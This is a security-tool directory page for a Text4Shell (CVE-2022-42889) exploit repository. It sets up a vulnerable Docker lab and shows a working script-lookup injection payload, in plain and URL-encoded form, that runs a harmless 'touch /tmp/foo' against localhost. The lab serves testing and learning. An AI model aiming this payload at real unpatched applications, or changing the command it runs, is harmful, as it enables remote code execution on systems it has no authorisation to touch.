Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Text4shell--Automated-exploit---CVE-2022-42889 — Automated exploit for CVE-2022-42889 (Text4Shell) with a vulnerable Dockerized app for testing and manual exploitation guidance. | Kitploit
Tools/GitHubGitHub/adarshpv9746/text4shell--automated-exploit---cve-2022-42889
Dynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubadarshpv9746/text4shell--automated-exploit---cve-2022-42889

Text4shell--Automated-exploit---CVE-2022-42889

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

Automated exploit for CVE-2022-42889 (Text4Shell) with a vulnerable Dockerized app for testing and manual exploitation guidance.

View Repository
53 years agoNot yet reviewed
Share

Install maven - maven-linux


//For automated hacking: 1../install.sh

root@kitploit:~
2../exploit.sh

3.To remove the application use ./stopapp.sh

//For manual hacking:

  1. Maven install to create the fat jar
root@kitploit:~
mvn clean install
  1. Docker build
root@kitploit:~
docker build --tag=text4shell .
  1. Docker run
root@kitploit:~
docker run -p 80:8080 text4shell
  1. Test the app
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. You can also try using dns or url prefixes.

  2. Get the container id

root@kitploit:~
docker container ls
  1. Get into the app
root@kitploit:~
docker exec -it <container_id> bash
  1. To check if above RCE was successful (You should see a file named foo created in the /tmp directory):
root@kitploit:~
ls /tmp/
  1. To stop the container
root@kitploit:~
docker container stop <container_id>
Download Tool